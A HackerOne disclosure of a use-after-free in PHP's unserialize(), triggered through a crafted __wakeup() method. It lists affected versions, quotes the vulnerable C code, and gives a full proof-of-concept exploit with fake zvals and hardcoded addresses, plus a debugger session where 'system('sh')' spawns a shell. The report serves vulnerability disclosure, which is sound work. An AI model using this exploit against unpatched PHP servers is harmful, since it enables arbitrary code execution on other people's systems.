PHP (IBB): Use After Free Vulnerability in unserialize()

2015-02-03T00:00:00
ID H1:73235
Type hackerone
Reporter ryat
Modified 2015-03-17T00:00:00

Description

Use After Free Vulnerability in unserialize()

Taoguang Chen < () chtg> - Write Date: 2015.2.3 - Release Date: 2015.3.20

A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code.

Affected Versions

Affected is PHP 5.6 < 5.6.7 Affected is PHP 5.5 < 5.5.23 Affected is PHP 5.4 < 5.4.39 Affected is PHP 5 <= 5.3.29 Affected is PHP 4 <= 4.4.9

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

``` static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements) { zval retval; zval fname;

    if (Z_TYPE_P(rval) != IS_OBJECT) {
            return 0;
    }

    //??? TODO: resize before
    if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval),

elements, 1)) { return 0; }

    ZVAL_DEREF(rval);
    if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
            zend_hash_str_exists(&Z_OBJCE_P(rval)-&gt;function_table, "__wakeup",

sizeof("__wakeup")-1)) { ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL); ```

A specially defined __wakeup() magic method lead to various problems.

The simple code:

``` <?php

class evilClass {

    public $var;

    function __wakeup() {
            unset($this-&gt;var);

// $this->var = 'ryat'; } }

$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');

?> ```

Object properties assignment or destroy operation leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

``` <?php

$f = $argv[1]; $c = $argv[2];

$fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1); $y = $x[2];

// zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\xff\xff\xff\xff"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;a:1:{i:0;R:4;}}}';

$z = unserialize($data2); intval($z[2]);

function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

class evilClass {

    public $var;

    function __wakeup() {
            unset($this-&gt;var);

// $this->var = 'ryat'; } }

?> ```

Test the PoC on the command line, then any PHP code can be executed:

$ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb)